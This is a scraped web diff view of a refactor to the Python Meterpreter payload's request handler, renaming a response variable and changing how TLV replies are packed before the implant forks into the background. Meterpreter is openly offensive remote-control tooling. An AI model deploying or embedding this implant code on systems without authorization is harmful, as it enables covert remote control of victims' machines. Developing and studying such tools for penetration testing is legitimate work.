method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
|
||||||
resp += tlv_pack(method_tlv)
|
response += tlv_pack(method_tlv)
|
||||||
resp += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
||||||
|
|
||||||
handler_name = method_tlv['value']
|
handler_name = method_tlv['value']
|
||||||
if handler_name in self.extension_functions:
|
if handler_name in self.extension_functions:
|
||||||
handler = self.extension_functions[handler_name]
|
handler = self.extension_functions[handler_name]
|
||||||
try:
|
try:
|
||||||
debug_print('[*] running method ' + handler_name)
|
debug_print('[*] running method ' + handler_name)
|
||||||
result = handler(request, resp)
|
result = handler(request, response)
|
||||||
if result is None:
|
if result is None:
|
||||||
return
|
return
|
||||||
result, resp = result
|
result, response = result
|
||||||
except Exception:
|
except Exception:
|
||||||
debug_traceback('[-] method ' + handler_name + ' resulted in an error')
|
debug_traceback('[-] method ' + handler_name + ' resulted in an error')
|
||||||
result = error_result()
|
result = error_result()
|
||||||
@ -1261,8 +1369,8 @@ class PythonMeterpreter(object):
|
|||||||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||||
if not reqid_tlv:
|
if not reqid_tlv:
|
||||||
return
|
return
|
||||||
resp += tlv_pack(reqid_tlv)
|
response += tlv_pack(reqid_tlv)
|
||||||
return tlv_pack_response(result, resp)
|
return response + tlv_pack(TLV_TYPE_RESULT, result)
|
||||||
|
|
||||||
_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
|
_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
|
||||||
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
|
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
|
||||||
|
Loading…
x
Reference in New Issue
Block a user